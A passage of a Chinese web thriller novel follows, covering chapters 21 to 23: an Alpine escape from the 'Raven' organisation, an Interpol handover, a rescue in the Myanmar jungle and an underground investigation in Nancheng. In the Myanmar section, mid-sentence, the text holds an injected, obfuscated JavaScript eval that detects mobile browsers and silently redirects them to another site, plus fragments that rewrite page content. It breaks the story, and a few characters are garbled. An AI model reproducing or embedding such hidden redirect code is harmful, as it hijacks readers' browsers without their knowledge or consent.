“他们找到主地窖了。”施密特博士脸色一变,“江,你必须立刻离开。带上公式,去拿另外两部分,然后毁了它。永远不要让它重见天日。” “但您……” “我走不了。”他拍了拍轮椅,“而且,我在这里四十年,总该有个了结。玛丽亚嬷嬷给我留了点‘礼物’,足够让那些贪婪的人付出代价。” 他从轮椅的夹层里拿出一个老式引爆器:“地窖深处,我埋了炸药。足够引发小范围塌方,把那些东西永远埋在地下。但需要有人在这里……按下按钮。” 江砚辞明白了。这位老人要用自己的生命,终结半个世纪前的噩梦。 “还有别的办法。”苏晚晚突然开口,“如果我们能引开他们……” “来不及了。”施密特博士摇头,“而且,我的时间本来就不多了。肺癌晚期,每天都是折磨。不如用这残躯,做点有意义的事。” 他看向江砚辞,眼神温和下来:“你父亲是我的朋友,也是我的救赎。他让我相信,技术可以做好事。你身上有他的影子,所以我相信你也会做出正确的选择。现在,走吧。” 又是一声爆炸,这次连地面都震动了。 江砚辞握紧金属盒子,最后看了老人一眼,转身离开。苏晚晚和陈曜跟上。三人沿着溪流向下游跑去,身后是越来越密集的爆炸声和隐约的呼喊声。 跑出几百米后,江砚辞回头。磨坊废墟的方向,一道火光冲天而起,然后是低沉的闷响,山体开始滑落,岩石和雪块滚滚而下。 塌方封住了整个山谷。 江砚辞站在原地,看着那滚滚烟尘。手中金属盒子冰凉,重如千钧。 苏晚晚轻轻握住他的手:“他选择了自己的结局。” “嗯。”江砚辞收回目光,“我们该走了。还有两把钥匙要拿。” 夜色降临,阿尔卑斯山的星空清澈如洗。而远在缅甸的丛林里,陆野正踩着泥泞,躲避追捕,怀里紧藏着最后一份证据。 两场相隔万里的战斗,都在这个夜晚,迎来了转折。 22. 第二十二章 第二十二章三地暗涌 塌方的烟尘还没散尽,江砚辞三人已经沿着溪流向下游狂奔了二十分钟。 右肩的疼痛在奔跑中变成了持续的电击感,每一次呼吸都拉扯着那片青紫的肌肉。江砚辞咬着牙,把金属盒子塞进背包最里层,用左手扶着苏晚晚的手肘——她的脚踝肿得厉害,几乎是在用脚尖点地前进。 “还有……多远……”苏晚晚喘着气问。 陈曜在前面开路,手里拿着卫星定位器:“最近的公路在八公里外,但阿影给的接应点在反方向的山谷出口,十二公里。” “不能去公路。”江砚辞回头看了一眼,烟尘中隐约有手电光束晃动,“他们肯定封锁了所有出口。” “那就走山谷。”陈曜调整方向,“但山谷夜间温度会降到零下二十度,我们没有足够的御寒装备。” “总比被抓住好。”苏晚晚紧了紧外套,“走吧。” 三人离开溪流,钻进茂密的针叶林。积雪掩盖了林间小路,每一步都可能踩空。陈曜用登山杖探路,速度慢得像蜗牛。 身后,追兵的动静越来越近。狗吠声穿透林间寂静,那是训练有素的追踪犬。 “他们带了狗。”陈曜脸色难看,“我们的气味甩不掉。” 江砚辞停下脚步,环顾四周。左前方有一片裸露的岩壁,下方是条不起眼的裂缝,勉强能容一人通过。 “进那里。”他说,“岩石不保留气味。” 三人挤进裂缝。内部比想象中深,蜿蜒向下,温度反而比外面高些——地下可能有温泉或地热。陈曜打开头灯,光束照亮了岩壁上奇特的纹路:那不是自然形成的,是人工凿刻的符号和箭头。 “这是……二战时期的逃生通道。”江砚辞辨认着那些德文标记,“‘通往B-4出口’、‘紧急物资储藏点’……” 通道在五十米后分岔。主道继续向下,另一条狭窄的支路向上,标记是“观测点”。 “向上。”江砚辞选了支路,“主道太明显,他们肯定会追。” 支路陡峭,几乎是垂直的岩缝。陈曜先爬上去,固定好绳索垂下来。江砚辞让苏晚晚先上,自己殿后。爬升时,右肩的疼痛让他眼前阵阵发黑,有几次差点脱手滑落。 爬到顶端,是个仅容三人站立的小平台。前方是悬崖,下方是漆黑的山谷。陈曜用望远镜观察,低声说:“他们到裂缝口了,在犹豫往哪边追。” 平台侧壁有个半人高的洞口,里面黑漆漆的。苏晚晚探头看了看:“有风,应该通到外面。” 洞口内部是条向下倾斜的滑道,覆盖着厚厚的灰尘。没时间犹豫,三人依次滑下。滑道曲折,几次急转弯撞得江砚辞差点昏厥。最后一段是近乎垂直的坠落,他们掉进一堆干燥的苔藓里。 头灯光束照亮四周——这是个天然洞穴,有足球场大小,洞顶垂下钟乳石。更惊人的是洞穴中央,整齐排列着几十个木箱,箱子上印着褪色的纳粹鹰徽和德文:“**Geheim**”(机密)。 “又是个储藏点。”陈曜走近一个箱子,撬开锁扣。里面不是武器,而是成捆的文件、图纸和胶片。 江砚辞抽出最上面一份文件,标题让他脊背发凉:“** Projekt Rabenhorst: Mensch-Maschine-Symbiose**”(乌鸦计划:人机共生)。 文件里是详细的实验记录,附有照片。照片上的“实验体”被机械部件替换了四肢甚至部分颅骨,眼神空洞,像被掏空的玩偶。数据记录显示,这些改造人最初的效率惊人,但七十二小时后全部出现神经系统崩溃,死亡过程极其痛苦。 苏晚晚捂住嘴,转头不忍再看。 “这就是施密特博士说的失败实验。”江砚辞合上文件,声音沙哑,“但‘渡鸦’现在做的……和这个一模一样。” 洞穴深处传来水声。他们循声走去,发现一条地下河,河岸边系着一条破旧的小木船。船桨还在,船身虽然腐朽,但勉强能用。 “顺流而下能到哪里?”苏晚晚问。 陈曜调出离线地图:“这条河应该汇入莱茵河的支流,下游有小镇。但问题是——如果‘渡鸦’知道这个洞穴,肯定也会知道这条水路。” 话音刚落,洞穴入口方向传来落石声和人声。追兵还是找来了。 三人迅速上船,陈曜划桨,小船顺着水流漂入黑暗。地下河曲折,几次撞上岩壁,船身发出不堪重负的呻吟。漂了大概半小时,前方出现微光——是出口。 出口外是片隐蔽的河湾,两岸是茂密的森林。此时天已全黑,只有星月和雪地的反光提供些许照明。他们弃船上岸,躲在树丛里观察。 河湾下游五百米处,有灯光——是个小码头,停着几艘渔船。码头旁的木屋亮着灯,烟囱冒着炊烟。 “去求救?”苏晚晚低声问。 “太冒险。”江砚辞摇头,“如果是普通村民,会惹上麻烦;如果是‘渡鸦’的人,就是自投罗网。” 陈曜用望远镜仔细看:“木屋门口停的车……牌照是瑞士本地的,但车型是改装过的越野车。窗户里有至少四个人影,都在走动,不像普通家庭。” 就在这时,木屋的门开了。一个穿深色外套的男人走出来,站在码头边打电话。距离太远听不清内容,但能看到他说话时频繁看向上游方向——他们来的方向。 “他们在等我们。”江砚辞得出结论。 后退的路被追兵堵死,前方有埋伏。三人被困在河湾的树丛里,气温正在急剧下降。苏晚晚开始发抖,不仅是冷,还有脚踝伤痛的加剧。 江砚辞脱下自己的外套披在她身上。 “我不冷……”她想拒绝。 “别逞强。”他按住她的手,“你脸色已经发青了。” 外套带着他的体温,确实暖和了些。苏晚晚看着他被冻得发白的脸,心头涌起一阵复杂的情绪——有感动,有担忧,还有一种在绝境中滋生的、说不清道不明的依赖。 “江砚辞,”她轻声说,“如果我们出不去……” “能出去。”他打断她,“阿影说了有援兵。” “但他自己也失联了。” “那就靠我们自己。”江砚辞看向下游的灯光,“他们只有四个人,我们有三个。而且他们在明处,我们在暗处。” 陈曜已经在地上用树枝画起了简易地图:“木屋两侧都是密林,后方是山坡。如果我们从山坡绕下去,可以从屋顶突入。但需要一个人在前门吸引注意力。” “我去。”苏晚晚说。 “不行。”江砚辞和陈曜同时反对。 “我是最好的选择。”苏晚晚平静地说,“我脚受伤,跑不快,所以更不会引起怀疑——一个迷路的登山女孩,脚踝扭伤,寻求帮助。他们会放松警惕。” “太危险了。”江砚辞抓住她的手,“如果他们认出你……” “这里距离修道院十几公里,他们想不到我们会绕这么远。”苏晚晚反过来握紧他的手,“而且这是唯一的办法。难道我们要在这里冻死?” 争执间,下游传来汽车引擎声。又一辆车抵达码头,车上下来三个人,和木屋里的人会合。现在对方有七个人了。 时间不多了。 江砚辞盯着苏晚晚的眼睛,看了很久,最终点头:“好。但答应我,如果有任何不对劲,立刻跑,别管我们。” “我答应你。” 计划敲定:苏晚晚一瘸一拐走向木屋求救,吸引屋内人员到前门。江砚辞和陈曜从后山坡潜入,控制屋内。关键是速度,必须在对方发出警报前解决所有人。 行动前,江砚辞把金属盒子交给陈曜:“如果我出事,你带着这个和晚晚走。” 陈曜没接:“别交代遗言,不吉利。” 苏晚晚整理了一下衣服和头发,深吸一口气,走出了树丛。她的表演很逼真——每走一步都因疼痛皱眉,呼出的白气在寒风中颤抖,头发凌乱,脸上带着恰到好处的恐惧和求助。 木屋前门有人注意到了她。一个男人走出来,用手电照向她:“谁?” “帮帮我……”苏晚晚用带着哭腔的德语说,“我在山里迷路了,脚受伤了……能不能让我打个电话?” 男人警惕地打量她,又看了看她身后,确认没有其他人,才招手:“进来吧。” 苏晚晚走进木屋。屋内温暖,炉火烧得很旺。除了开门的男人,还有六个人围坐在桌边,桌上摊着地图和对讲机。看到苏晚晚,所有人都站了起来。 “就你一个人?”一个看起来像领头的问。 “就我一个……我和同伴走散了……”苏晚晚继续演戏,同时用眼角余光观察——武器都在桌上和墙边,没人随身携带。 领头的人对另一个使了个眼色,那人走向后窗,显然是去查看外面是否还有人。 就是现在。 后窗突然碎裂,江砚辞和陈曜破窗而入。陈曜扑向最近的两人,登山镐挥出精准的弧线。江砚辞用没受伤的左手抓起炉边的铁钳,砸向领头人的手腕。 打斗在十秒内结束。七个人全被制服,用他们自己的手铐反铐起来。陈曜挨个搜查,从他们身上搜出了武器、通讯设备和证件。 “都是‘渡鸦’的外围人员。”陈曜翻看着证件,“雇佣兵性质,拿钱办事,不知道核心计划。” 江砚辞走到苏晚晚身边:“没事吧?” “没事。”她脸色有点白,但还算镇定,“他们信了。” 陈曜从厨房找到食物和热水分给大家。吃着冰冷的罐头,江砚辞突然想起什么,走到那个领头人面前:“你们的任务是什么?” 领头人冷笑,不答。 江砚辞拿起桌上的地图——那是山谷的详细地形图,上面用红笔标注了几个点。其中两个点已经被划掉,正是修道院和磨坊。第三个点在东北方向的山脊上,标注着“**B-12**”。 “B-12是什么?”他问。 领头人还是不说话。陈曜走过来,一把抓住他反铐的手,向上用力一扳。男人惨叫:“是……是另一个储藏点!比修道院那个更大!” “里面有什么?” “不知道!我们只负责外围安保,具体内容只有高层知道!” 江砚辞看了眼墙上的时钟——晚上九点二十。距离阿影说的“援兵”已经过去了四小时。 “我们不能等了。”他对陈曜说,“找辆车,去最近的城镇,联系外界。” 木屋外停着两辆车。陈曜检查了油量和车况,选了那辆改装越野车。三人把所有俘虏锁进木屋的地下储藏室,拿走了他们的通讯设备。 上车前,苏晚晚突然拉住江砚辞:“你看那边。” 她指着河对岸的山坡。黑暗中,隐约有几点微光在移动,像是手电或头灯。但那些光点的移动方式很奇怪——不是直线的,而是在林中快速穿插,时隐时现。 “是阿影说的援兵?”陈曜猜测。 光点突然全部熄灭。几秒钟后,木屋方向传来沉闷的撞击声,接着是玻璃碎裂声和短暂的打斗声。声音很快平息。 江砚辞拿起从俘虏那里缴获的对讲机,调到公共频道。里面传来冷静的男声,用德语说:“区域清理完毕。目标已转移,重复,目标已转移。” 频道里另一个声音回答:“收到。掩护撤退路线,三十分钟后直升机接应。” 援兵真的来了。而且显然是专业队伍。 江砚辞犹豫要不要露面。这时,对讲机又响了,这次是阿影的声音,虽然虚弱但清晰:“江砚辞,如果在听,现在开车沿河北上五公里,有座废弃的水文监测站。在那里等我。” 三人对视一眼,上车出发。 五公里外的水文监测站建在河岸高处,是栋两层小楼,窗户都用木板封死。他们把车停在树林里,步行靠近。小楼门口,一个穿白色雪地伪装服的人正在等他们。 不是阿影。 那人掀开头罩,是个四十岁左右的男人,亚裔面孔,眼神锐利如鹰。他抬手示意他们停下,用英语说:“身份验证。” 江砚辞报出阿影给的暗号:“乌鸦的阴影里仍有光。” 对方点头,侧身让路:“进来吧。影子在里面。” 一楼是个空旷的大厅,角落里搭着临时医疗区。阿影躺在担架上,左臂缠着厚厚的绷带,脸色苍白,但意识清醒。看到他们,他微微点头:“迟到总比不到好。” “你伤得怎么样?”苏晚晚问。 “贯穿伤,没伤到骨头。”阿影用没受伤的手指了指旁边的男人,“这位是‘隼’,国际刑警特别行动组的。他带队清理了这片区域的‘渡鸦’据点。” 叫隼的男人简短介绍情况:国际刑警三个月前启动了对“渡鸦”的全球围剿行动,阿尔卑斯山是重点区域之一。他们早就监控了修道院和观测站,但为了避免打草惊蛇,一直按兵不动。直到阿影发出紧急求援,他们才行动。 “施密特博士和玛丽亚嬷嬷……”江砚辞问。 “确认牺牲。”隼语气平静但带着敬意,“他们触发的塌方至少埋葬了二十名‘渡鸦’成员,还有那些放射性原料。后续会有专业团队来处理,但短期内,那个山谷是安全的。” 安全这个词,此刻听起来如此珍贵。 “那我们现在怎么办?”陈曜问。 隼看了眼手表:“一小时后有直升机来接你们去苏黎世。到了那里,会有外交人员安排你们回国。但在这之前——”他看向江砚辞,“影子说你有东西要交给我。” 江砚辞从背包里拿出那个金属盒子。隼接过,没有打开,而是放进一个铅封的防爆箱:“这部分公式会由国际刑警技术部门封存。等你集齐另外两部分,完整的算法会交还给中国政府,由你们决定如何使用。” “你们不想要?”陈曜有点意外。 “我们想要的是‘渡鸦’覆灭,不是技术垄断。”隼说,“况且,这种级别的技术,任何单一组织掌握都是危险的。最好的归宿,是交给联合国框架下的国际科研机构,在严格的伦理监督下进行医疗用途研究。” 这个答案让江砚辞松了口气。至少,有人和他的想法一致。 阿影挣扎着坐起来:“江砚辞,你接下来要找的是第三部分——伦理约束算法。它在你小时候的玩具里,你父亲留下的线索。” “我知道。”江砚辞想起父亲笔记里的话,“但具体是哪个玩具……” “你母亲知道。”阿影说,“她留下的线索,应该就在苏家。你需要回去,和苏晚晚一起,把最后一块拼图找出来。” 苏晚晚愣了一下:“我也……” “你母亲林薇,是当年三人组里最谨慎的一个。”阿影看着她,“她很可能留下了另一份备份,或者……另一条线索。” 墙上的时钟指向十点。外面传来直升机螺旋桨的轰鸣声。 隼提起防爆箱:“该走了。影子需要去医院,你们需要安全离开。” 临上直升机前,阿影拉住江砚辞,低声说:“回国后小心陆文渊。‘渡鸦’在亚洲的势力还没清除,他可能会狗急跳墙。还有……谢谢你父亲,也谢谢你。” 直升机升空,阿尔卑斯山的雪峰在月光下泛着银光。江砚辞看着下方越来越小的监测站,那个叫隼的男人还站在门口,仰头目送他们离开。 苏晚晚靠在他身边,已经累得睡着了。陈曜在检查卫星电话,试图联系唐果——她还留在山脊,不知道是否安全。 江砚辞握紧背包带子。金属盒子交出去了,但任务远未结束。还有第三部分要拿,还有“渡鸦”要对付,还有父亲的遗志要完成。 但至少在这个夜晚,他们暂时安全了。 直升机向西,飞向苏黎世的灯火。 …… 陆野在雨林里跑了三个小时。 右腿的枪伤每跑一步都像火烧,血混着雨水把裤腿浸透成暗红色。她靠在一棵榕树后,撕下衣服下摆扎紧伤口,但止血效果有限。 身后的追兵越来越近。狗吠声、人声、还有对讲机嘈杂的电流声。她知道这样跑下去迟早会被追上,但停下來就是死。 卫星电话在刚才的摔倒中摔坏了,她现在彻底失联。数据包虽然发出去了,但如果没有活着的人作证,那些证据的效力会大打折扣。 雨越下越大,热带暴雨像帘幕一样遮挡视线。陆野趁机钻进一条干涸的河床,沿着河道向下游爬。河床里满是淤泥和落叶,她几乎是用手肘和膝盖在前进。 爬了大概五百米,前方出现灯光——是个简陋的村落,竹楼稀疏地建在河边。陆野犹豫了。进村落可能牵连无辜,但不进,她的伤势撑不到天亮。 正犹豫时,身后传来拉枪栓的声音。 她僵住,缓缓回头。两个穿迷彩服的男人站在河岸上,枪口对准她。雨水顺着他们的帽檐滴落,看不清脸。 “起来。”其中一个用蹩脚的英语说。 陆野慢慢站起,举起双手。另一个男人走过来搜身,拿走了她最后一把匕首和证件。 “中国来的技术顾问?”那人看着证件冷笑,“技术顾问会半夜在雨林里跑?” 陆野没说话。她在等机会,等他们靠近,等一个可以夺枪的瞬间。 但机会没来。第三个男人从林子里走出来,看起来是领头的。他看了眼陆野,对另两人说:“带走。老板要活的。” 两人上前抓住陆野的胳膊。挣扎中,她腿上的伤口再次崩开,剧痛让她眼前一黑。 就在这时,村落方向传来摩托车引擎声。三辆摩托冲进河床,车灯刺破雨幕。每辆摩托上两个人,都穿着本地人的衣服,但手里拿着砍刀和□□。 “放开她!”领头的摩托车上,一个年轻男人用缅甸语喊。 “渡鸦”的人立刻举枪。但村民人多,而且熟悉地形,迅速散开形成包围。 对峙持续了十几秒。领头那个“渡鸦”成员冷笑:“你们想跟‘渡鸦’作对?” “我们不知道什么乌鸦。”年轻男人说,“但我们知道,你们在我们的土地上抓人,不行。” 他挥了挥手,村民的猎枪全部上膛。 “渡鸦”的人交换了眼神。他们只有三个人,对方有六个人,而且村民身后竹楼里,还有更多人影在晃动。 “算你走运。”领头那人狠狠瞪了陆野一眼,示意手下撤退。 三人迅速消失在雨林中。 村民围上来。年轻男人跳下摩托,看到陆野腿上的枪伤,皱眉:“你是中国人?” 陆野点头,用勉强会的缅甸语说:“谢谢。” “你会说我们的话?”男人有些意外,随即摆手,“先不说这些。你的伤需要处理,跟我来。” 他扶陆野坐上摩托后座,开进村落。其他村民骑着摩托在周围护卫,警惕地观察着雨林方向。 村落很小,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004289|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有十几户人家。男人把陆野带进自己家的竹楼,让妻子拿来药箱。处理伤口时,陆野忍着疼问:“你为什么要帮我?” 男人没立刻回答。他小心地清洗伤口,撒上草药粉,用干净的布包扎好,才说:“三天前,有个德国女人来过。她说最近会有外国人被追杀,让我们如果遇到,就帮一把。她给了钱,还给了这个。” 他从柜子里拿出一个信封。陆野打开,里面是一张照片——是阿影。照片背面写着一行字:“**救她,就是救我。**” 是阿影的安排。他居然在缅甸的深山里也埋了线。 “那个德国女人呢?”陆野问。 “留下照片和钱就走了。”男人说,“但她说,如果你活下来了,让你去一个地方。” 他递给陆野一张手绘地图,上面标注着缅甸北部山区的一个坐标,旁边写着:“**安全屋,有你需要的东西。**” 陆野看着地图,又看看腿上的伤。以她现在的情况,根本到不了那里。 “我可以送你。”男人似乎看出她的顾虑,“但我有条件——你要告诉我,那些追杀你的人,到底在做什么。” 陆野犹豫了。把这些普通人卷进来,会不会害了他们? “我妻子怀孕了。”男人低声说,“那些人最近在附近的山里挖东西,炸山,污染了我们的水源。我想知道,他们还要在这里待多久,还会做什么。” 他的眼神里有担忧,也有愤怒。陆野明白了,这不是单纯的帮忙,这是被侵犯家园者的反抗。 “他们在做人体实验。”她最终决定说出部分真相,“把人和机器结合在一起,创造怪物。而且他们在挖二战时期日本人留下的化学武器,想提炼某种东西。” 男人脸色发白:“化学武器……我们的水源……” “带我去安全屋。”陆野说,“我拿到证据后,会联系国际组织曝光。只有这样,才能逼他们离开。” 男人沉默了很久,最后点头:“好。但今晚不行,雨太大,你的伤也需要休息。明天一早,我送你。” 夜深了,雨还在下。陆野躺在竹楼的草席上,听着外面的雨声和偶尔的犬吠。腿上的疼痛让她无法入睡,但更让她无法入睡的,是那些实验室里的画面——半机械半生物的手臂,空洞的眼神,无声的惨叫。 她摸出怀里最后一张存储卡。这是她没来得及发送的,最核心的实验录像。如果她死了,这东西就是唯一的证据。 窗外,雨林中,“渡鸦”的追兵正在重新集结。而更远的地方,那个标注着安全屋的坐标,藏着阿影留给她的最后希望。 缅甸的雨夜,还很长。 …… 唐果从阿尔卑斯山返回南城的第三天,收到了一个匿名包裹。 包裹寄到她的工作室,没有寄件人信息,里面是个防震盒,盒子里装着一枚生锈的齿轮——和她之前送给江砚辞的那枚很像,但更大,上面镶嵌的不是青花瓷,而是一小块暗红色的矿石。 她拿着齿轮去市地质局找朋友检测。结果出来时,朋友脸色凝重:“这矿石是铀的伴生矿物,而且有轻微放射性。你从哪弄来的?” “别人寄的。”唐果看着检测报告,心跳加速,“放射性危险吗?” “单这一小块没事,但如果源头有大量堆积,就麻烦了。”朋友压低声音,“而且这矿石的成矿特征……很像南城老矿区那边的地质结构。” 唐果立刻想到老防空洞。她告别朋友,直奔那条巷子。 防空洞的铁门还像上次一样虚掩着,但走进去后,她发现不对——有人来过了。地面有新鲜的脚印,墙上的灰尘被抹掉了几处,最重要的是,之前那台刻着江振华名字的机械计算机,不见了。 她在洞里搜索,在最深处的角落,发现了一个新挖的坑。坑里残留着一些金属碎片和导线,还有一小块布料——是军绿色迷彩服的一角。 唐果拍照取证,正要离开,突然听到入口处传来脚步声。她立刻关掉手电,躲到一堆废弃木箱后面。 两个男人走进来,打着手电四处照。 “确定东西都搬干净了?”一个问。 “搬干净了。但老大说,这下面还有别的东西,让我们再找找。”另一个回答,“好像是日本人留下的什么……实验数据。” “日本人?不是德国人吗?” “都有。这地方二战时被日本人占过,后来德国人也来过。乱得很。” 两人开始敲打墙壁,似乎在找暗门。唐果屏住呼吸,一点点往后挪。她的脚碰到一个空罐头,发出轻微的声响。 “谁?!”手电光立刻扫过来。 唐果转身就跑。身后传来追赶的脚步声和喊声:“站住!” 她冲出防空洞,跑进巷子。下午的巷子没什么人,她拼命往前跑,拐进另一条更窄的巷道。身后的脚步声紧追不舍。 跑到巷子尽头,是堵三米高的墙。唐果正绝望,墙头上突然垂下一根绳子。 “上来!”一个熟悉的声音。 是林骁——唐果的前男友,现在是“雾港”酒吧老板。唐果抓住绳子,林骁在上面用力拉,她蹬着墙爬了上去。 刚翻过墙头,追兵就冲进了巷子。但他们看到墙太高,骂了几句,转身离开了。 唐果瘫在墙另一侧的地上喘气。林骁蹲在她面前,脸色难看:“你招惹什么人了?” “说来话长。”唐果坐起来,“你怎么会在这里?” “我酒吧就在隔壁街。”林骁说,“看到你被追,就顺手救一下。毕竟……” 他没说完,但唐果懂。毕竟他们曾经在一起五年,虽然分手时闹得很难看,但真看到她有危险,林骁还是不会袖手旁观。 “谢了。”唐果站起来,“我得走了。” “去哪儿?那些人还在附近。” “去个安全的地方。” 林骁看了她几秒,叹气:“跟我来。” 他带唐果从后门进了“雾港”酒吧。下午酒吧没营业,里面空无一人。林骁锁好门,倒了杯水给她:“现在可以说了吧?你上次突然问我江砚辞的事,现在又被人追,到底怎么回事?” 唐果喝了口水,犹豫要不要说。但看着林骁担心的眼神,她最终开口,把能说的部分说了——江砚辞被污蔑的真相,阿尔卑斯山的秘密,还有老防空洞里的发现。 林骁听完,沉默了很久。 “我就知道。”他最后说,“江砚辞那小子,虽然脾气臭,但不是会作弊的人。” “你认识他?” “赛车圈就那么点大,以前在赛道上见过。”林骁点了支烟,“他出事后,很多人落井下石,但我总觉得不对劲。现在明白了,是被陷害的。” 他抽了几口烟,突然说:“老防空洞下面,不只那台计算机。” 唐果抬头。 “我爷爷以前是南城矿务局的工程师。”林骁弹了弹烟灰,“他临终前跟我说过,老矿区下面有个日本人修的实验室,专门研究‘人体潜能激发’,其实就是人体实验。战后那个实验室被炸塌封死了,但有些资料没来得及销毁。” “你怎么知道这些?” “因为我爷爷参与了封埋工作。”林骁看着烟头明灭的火光,“他说那是他一辈子的噩梦,让他晚年一直睡不好。他还留了个东西——” 他走到吧台后面,打开一个隐蔽的保险柜,拿出一个老式牛皮笔记本:“这是他当年的工作笔记。里面有实验室的详细位置和结构图。” 唐果接过笔记本翻开。泛黄的纸页上,手绘的地图清晰标注着实验室入口——就在老防空洞下方三十米处。 “所以那些人挖走计算机,可能只是开始。”她低声说,“他们真正想要的,是下面的实验室。” “而且他们已经找到了。”林骁说,“昨天夜里,我听到那边有大型机械的声音,持续了好几个小时。” 唐果立刻拿出手机,想联系江砚辞。但拨过去是关机。她又试了苏晚晚和陈曜,都关机。 “联系不上。”她有些慌,“他们应该还在瑞士,不知道这边的情况。” “那就我们先处理。”林骁掐灭烟,“我认识几个老矿工,懂地下作业。我们去探探情况,至少要知道他们在挖什么。” “太危险了!” “难道等他们把东西挖出来,造成更大危险?”林骁看着她,“唐果,有些事看到了就不能假装没看到。你考古不也是这个道理吗?” 他说得对。唐果深吸一口气,点头:“好。但我们需要计划,也需要装备。” “装备我有。”林骁说,“至于计划……先搞清楚他们在挖什么,然后报警。但普通警察可能管不了,得找特殊部门。” “我有个朋友在国安系统……”唐果想起苏晚晚提过的人。 “那就联系他。”林骁看了眼时间,“现在是下午四点。我们晚上十点行动,那时候他们换班,守卫最松懈。” 唐果看着眼前这个男人——分手三年,她以为自己早就把他放下了。但此刻,在这个昏暗的酒吧里,面对未知的危险,她突然感到一种久违的安心。 或许有些人,就算不再是恋人,也依然是战友。 窗外的天色渐渐暗下来。南城的夜生活即将开始,霓虹灯渐次亮起。但在这片繁华之下,老城区的地底,一场关乎过去的挖掘正在进行。 而唐果和林骁,即将踏入那片黑暗。 23. 第二十三章 第二十三章地底的回声与归途的雾 苏黎世飞往北京的航班在云层上方平稳飞行。江砚辞靠着舷窗,看着下方阿尔卑斯山连绵的雪峰逐渐变小、模糊,最终被云海吞没。十二个小时前,他们还在那山里逃命,此刻却坐在温暖的头等舱里,空乘正递来热毛巾和香槟——隼安排的一切都周到得近乎不真实。 苏晚晚在他身旁的座位上睡着了,头靠着他的右肩。她的呼吸很轻,睫毛在机舱昏暗的灯光下投出浅浅的阴影。脚踝上的伤已经被苏黎世的医生处理过,打了固定,但医生嘱咐至少要休养三周。江砚辞自己的肩膀也好不到哪里去——骨裂,打了绷带,医嘱同样是静养。 静养。这个词在现在的语境里显得如此奢侈。 陈曜坐在过道另一边,正对着笔记本电脑敲代码。他在解码隼交给他们的一个加密U盘,里面是“渡鸦”在亚洲的部分人员名单和资金流向。屏幕上的数据滚动得很快,陈曜的眉头越皱越紧。 “有问题?”江砚辞压低声音问。 “问题大了。”陈曜把屏幕转过来,“你看这个账户——‘晨星慈善基金会’,过去三年向‘渡鸦’控制的空壳公司转账超过八千万欧元。而这个基金会的最大捐助方,是陆远集团旗下的‘陆氏文化基金’。” 陆文渊。这个名字像一根刺,扎在每个人的神经上。 “有直接证据吗?”江砚辞问。 “转账记录有,但要证明陆文渊知情,还需要内部文件或证人。”陈曜合上电脑,“而且这些钱走的都是合法捐赠渠道,表面看无可挑剔。陆文渊很聪明,他把脏钱洗得干干净净。” 苏晚晚动了动,睁开眼睛。她看了眼陈曜屏幕上的数据,轻声说:“陆文渊的爷爷陆远山,当年就是靠给日军做翻译和中间人发的家。战后他转型做贸易,但那些黑暗的人脉一直保留着。陆文渊继承的不只是家产,还有那些见不得光的关系网。” 江砚辞想起施密特博士提到的“日军实验室”。如果陆家从战时就与这些黑暗实验有关联,那么陆文渊对“乌鸦计划”技术的执着,就不只是商业野心,更像是家族宿命的延续。 “回国后第一件事,”他说,“找到我父亲藏在玩具里的第三部分。然后……” 他没说完,但苏晚晚懂。然后决定技术的命运——公开,还是销毁。 飞机开始下降,广播里传来机长提醒系好安全带的声音。北京在下雨,舷窗外灰蒙蒙一片。落地时已是傍晚,机场灯火在雨雾中晕开成模糊的光团。 隼安排的外交人员已经在VIP通道等候。那是个三十出头的女人,姓周,短发干练,说话简洁:“车在外面。住处已经安排好,是国宾馆的独立院落,安保级别最高。医生一小时后到。另外,陆文渊的人两小时前开始在机场外围活动,我们的人已经把他们引开了。” “谢谢。”江砚辞说。 “不用谢我,谢影子先生。”周女士拉开车门,“他帮我们清理了不少内部的蛀虫。上车吧,雨大。” 三辆黑色轿车组成的车队驶离机场,在晚高峰的车流中穿梭。江砚辞看着窗外这座熟悉的城市——三年前他离开时,也是这样一个下雨的傍晚。那时他身败名裂,母亲刚去世,觉得自己的人生已经完了。没想到三年后,他会以这样的方式回来。 车队没有进市区,而是开往西郊。国宾馆的独立院落隐蔽在竹林深处,围墙高耸,门口有警卫。院内是座仿古建筑,内部却全是现代化设施。医生已经等在客厅,给两人重新检查伤口、换药。 一切安顿好后,周女士把一部加密卫星电话递给江砚辞:“影子先生留的。只能拨一个号码,接通后自动销毁。” 江砚辞接过电话,走进书房关上门。按下唯一的拨号键,几秒后,阿影的声音传来,比在阿尔卑斯山时更虚弱了些,但依然冷静: “安全抵达了?” “嗯。你怎么样?” “在医院,死不了。”阿影咳嗽了几声,“长话短说。第三部分在你母亲老房子的阁楼里,一个装着你小时候玩具的箱子。钥匙在林骁那儿——唐果的前男友,现在开酒吧的那个。他会带你去。” “林骁?”江砚辞想起唐果提过这个人,“他可靠吗?” “可靠。他爷爷林正南,是你父亲在矿务局时的老同事,当年一起处理过日军实验室的事。林骁知道一些内情,而且……他欠你父亲一个人情。” “什么人情?” “二十年前,林骁的父亲矿难重伤,是你父亲出钱出力救回来的。后来林父还是没撑住,但林家一直记得这份恩。”阿影停顿了一下,“去找他,拿到钥匙。但记住,取东西时要小心,你母亲可能在玩具箱里设了保护措施。” “保护措施?” “你母亲是个很谨慎的人。她不会把那么重要的东西随便塞在玩具里。”阿影又咳嗽起来,“我这边还要处理‘渡鸦’在欧洲的残党,暂时回不去。国内的事,你们自己应付。陆文渊可能会……” 电话突然中断,只剩下忙音。江砚辞看了眼屏幕,通话记录自动清除了,电话也失去了信号。 他走出书房,苏晚晚等在门口:“怎么样?” “要去找林骁。”江砚辞看了眼窗外渐大的雨势,“现在。” **同一时间,南城老城区。** 唐果和林骁蹲在巷口的馄饨摊雨棚下,看着对面老防空洞入口。雨下得很大,地面积水反着路灯的光,洞口黑漆漆的,像巨兽的嘴。 “他们换了班。”林骁压低声音,“现在是四个人,两小时一换。凌晨两点那班人最少,只有两个。” “你怎么知道得这么清楚?” 